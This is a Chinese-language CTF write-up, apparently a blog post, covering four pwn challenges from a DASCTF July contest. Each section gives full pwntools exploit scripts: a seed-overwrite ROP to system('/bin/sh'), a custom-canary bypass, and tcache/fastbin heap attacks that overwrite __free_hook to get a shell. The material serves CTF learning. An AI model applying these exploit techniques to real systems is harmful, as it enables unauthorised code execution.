DASCTF 7月赋能赛pwn wp

pwn

eyfor

1

buf可以覆盖seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出:

程序自带system函数,同时会将payload strcpy到bss段上,因此可以在payload中附带/bin/sh之后直接调用system(“/bin/sh”)

getshell。

exp:

from pwn import *
import ctypes
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
libc_func = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc_func.srand(10)
sh = process('/mnt/hgfs/ubuntu/das7/pwn4')
sh = remote('node4.buuoj.cn',27445)
sh.sendafter(b'go\n',b'aaa')
for i in range(4):
    sh.sendlineafter(b'message:\n',str(libc_func.rand()).encode())
sh.sendline(str(-1).encode())
pop_rdi  = 0x0000000000400983
# gdb.attach(sh)
payload = b'/bin/sh\x00'+b'a'*0x30+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x6010C0)+p64(0x400680)

sh.sendline(payload)
sh.interactive()

MyCanary2

2

程序自己实现一个canary,canary本身是通过随机数异或而来,不可破解。

不过程序出现了一个逻辑漏洞。

若我们先调用栈溢出之后再调用生成canary则可以直接绕过canary 实现栈溢出。

exp:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r  = process('/mnt/hgfs/ubuntu/das7/MyCanary2/MyCanary2')
r  = remote('node4.buuoj.cn',28879)


def menu(choice):
    r.recvuntil(b"Input your choice")
    r.sendline(str(choice))

def gogogo(payload):
    menu(1)
    r.recvuntil(b"Show me the code:")
    r.send(payload)


pop_rdi = 0x0000000000401613
system_addr = 0x401120
payload = b'a'*0x68+p32(0)+p32(0)+p64(0)+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x4020F0)+p64(system_addr)
print(payload)
# gdb.attach(r)
gogogo(payload) 
menu(2)
menu(3)
r.interactive()

compact

程序实现了一个堆菜单:

3

这个程序最特殊的地方就是她的delete和reset是分开的。

delete功能为清空堆块指针。reset会free掉所有执行过delete的堆块。

这个功能很重要。

然后就是这里有一个溢出:

4

当buf为0xff的时候,可以溢出最多的字节覆盖到结构体指针:

5

这道题让我卡了很久是因为idx<=7。不太好填满tcache list然后用fastbin into tcache bin做。

不过用刚才那个delete清空指针和reset配合还是能够做到的,这样之后我发现只能申请0x20大小的堆块,并且申请地址末尾必为tag字段:0xff,我调试了一下malloc_hookfree_hookexit_hook都不在末尾字段为0xff且偏移处于0x20的范围内,同时由于0x20大小是结构体堆块,即使申请过去了,我们的ogg里也必带有一个0xff,所以这种思路是错的。\

我的步骤:

  • 通过以上溢出改结构体指针,free掉一个fake_unsortedbin
  • 再申请一个堆块,改掉结构体指针指向fake_unsortedbin,通过show功能泄露heap基址和libc基址。
  • 伪造一个fake_chunk,free掉0x90大小的fake_chunk后申请回来,改掉一个tcache空闲块的next指针。
  • 然后就打free_hook即可。

(这里其实伪造fake_chunk必须要满足fake_chunk的下一个堆块size合法,并且我感觉也不止会判断这一个,似乎还会一直往下判断下一个堆块size是否合法,因此我最开始没有采用这种方法,不过这道题刚好有一个fake_unsortedbin可以给我们提供合法的size,因此可以伪造fake_chunk

exp:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/das7/compact/compact')
r = remote('node4.buuoj.cn',29237)
libc = ELF('/mnt/hgfs/ubuntu/das7/compact/libc-2.31.so')

def menu(choice):
    r.recvuntil(b"give me your choice: \n")
    r.sendline(str(choice))

def add(content,something):
    menu(1)
    r.recvuntil(b"data: ")
    r.send(content)
    r.recvuntil(b"tag: ")
    r.send(b'\xff')
    # sleep(0.5)
    r.send(something)

def show(index):
    menu(2)
    r.recvuntil(b"idx: ")
    r.sendline(str(index))

def delete(index):
    menu(3)
    r.recvuntil(b"idx: ")
    r.sendline(str(index))

def alldelete():
    menu(4)



[add(p64(0)*3+p64(0x4b1)+p64(0)*3+p64(0x91),b'a') for i in range(8)]
delete(0)
alldelete()
add(b'a',b'aaa\xe0')
delete(0)
alldelete()
add(b'a',b'aaa\xe0')
show(0)
r.recvuntil(b"tag: \xffaaa")
heap_base = u64(r.recv(6).ljust(8,b'\0'))-0x2e0
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x1ebf61
free_hook =  libc_base+libc.sym["__free_hook"]
one_gadget = libc_base+0xe6af1
delete(4)
[delete(k) for k in range(2,4)]
# [add(b'a',b'a') for l in range(6)]#1-6
alldelete()
add(b'a',b'aaa'+p16((heap_base+0x3b0)&0xffff))#2
delete(2)
alldelete()
add(b'a'*0x40+p64(0)+p64(0x21)+p64(heap_base)+p64(heap_base+0x10)+p64(0)+p64(0x91)+p64(free_hook),b'a')#2
add(b'a',b'a')#3
delete(2)
add(p64(one_gadget),b'a')
menu(4)


# gdb.attach(r,'b free')
log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))

r.interactive()

easyheap

赛后由h@x0r师傅提供的思路和exp,经由本人同意后我收集在此。

维护了0x37个双向链表头来管理堆结构

结构如下

struct Node
{
  char name[16];
  char *buf;
  _QWORD prev;
  Node *next;
};

并且通过输入的name来进行一个类似hash的操作得到他在整个链表头数组的索引

def name_hash(name):
    v3 = 0;
    name = name.ljust(16,b'\x00')
    for i in range(16):
        v3 = name[i] + 0x13 * v3;
    return v3 & 0x37

漏洞出在删除逻辑里假设链表头节点的prev是0

但是如果移除该链表头节点后, 这个假设就不成立了

image-20220725140356526

这时候就会走prev->next = tmp这条路径

导致链表头还是原来这个节点, 但是因为他的name字段已经变化, 我们一般来说已经访问不到他了

(所以我fuzz半天没fuzz出来什么洞)

那么现在就有一个double free

来看一下我们其他的函数

add函数

image-20220725140843799

show函数

image-20220725140806538

容易发现name跟buf指针相邻, 可以通过打印name指针泄露一下堆地址

(管他有没有用, 先泄了再说)

然后可以通过填满tcache让0x210的堆块释放到unsortbin里, 然后用show打印free状态下的节点来泄露libc地址

因为是2.31 所以考虑打free_hook写system

注意到dele中

image-20220725141153515

如果我们能完全控制被free节点的内容

我们就可以写入prev->next的值为next指针

那么我们只需要控制prev == free_hook-0x20 next == system_addr buf == bin_sh_addr

就可以一次操作getshell

不难想到在0x210的大堆块中伪造一个0x30的节点

那我们还需要一次fastbin attack来分配到这个0x30的节点

详细操作见exp

from pwn import *

context.log_level = 'debug'
sh  = process('./easyheap')
# sh = remote('node4.buuoj.cn',29160)
def cmd(choice):
    sh.sendlineafter(b'> ',str(choice).encode())

def add(name,content):
    cmd(1)
    if len(name) < 0x10:
        name += b'\n'
    if len(content) < 0x200:
        content += b'\n'
    sh.sendafter(b'name: ',name)
    sh.sendafter(b'content: ',content)
def dele(name):
    cmd(3)
    if len(name) != 0x10:
        name = name.ljust(16,b'\x00')
    sh.sendafter(b'name: ',name)
def show(idx):
    cmd(2)
    sh.sendlineafter(b'idx: ',str(idx).encode())

def name_hash(name):
    v3 = 0;
    name = name.ljust(16,b'\x00')
    for i in range(16):
        v3 = name[i] + 0x13 * v3;
    return v3 & 0x37

add(b'\x00',b'xx')
add(b'\x00',b'xx')
add(b'\xff'*15+b'X',b'xxx')
show(name_hash(b'\xff'*15+b'X'))
sh.recvuntil(b'X')
heap_base = u64(sh.recv(6).ljust(8,b'\x00'))  & -4096
for i in range(6):
    add(b'\x02',b'kk')
for i in range(6):
    dele(b'\x02')
dele(b'\x00')
dele(b'\x00')
success("heap_base : "+hex(heap_base))
show(0)
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ecbe0
success("libc_base : "+hex(libc_base))

# for i in range(3):
#     add(b'\x00',b'xxx')
# dele(b'\x00')
bucket = name_hash(p64(heap_base+0x2120))
bucket_name = p64(heap_base+0x2120)
add(bucket_name,b'xxx')
for i in range(8):
    add(b'\x02',b'clear')
add(b'\x02',b'a'*0x20+p64(0)+p64(0x31)+p64(0)*5+p64(0x31))
for i in range(2):
    add(b'\x02',b'clear')
add(bucket_name,b'xxx')
for i in range(5):
    dele(b'\x02')
dele(bucket_name)
dele(bucket_name)
dele(b'\xff'*15+b'X')
add(b'\x07',b'bbb')

success("bucket : "+hex(bucket))

dele(b'\x02')

dele(bucket_name)

fake_chunk = heap_base + 0x1b20

add(p64(fake_chunk),b'qqq')
add(b'\x02',b'kkk')
add(b'\x02',b'kkk')
add(b'\x01',b'kkk')
libc = ELF('./libc.so.6')
libc.address = libc_base
payload = b'\x00'*0x20
payload += p64(0) + p64(0x31)
payload += p64(0x1) + p64(0)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libc.sym['__free_hook']-0x20) + p64(libc.sym['system'])
add(b'\x02',payload)
# gdb.attach(sh,'b *$rebase(0xf78)')

dele(b'\x01')

sh.interactive()

有一点坑的是

远程的libc版本实际是2.31 9.9

而附件给出的实际上是2.31 9.7

但是因为泄露是一般是泄露的unsortbin的地址, 而这两个版本的unsortbin的偏移恰好一致

所以很难发现是libc有问题

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值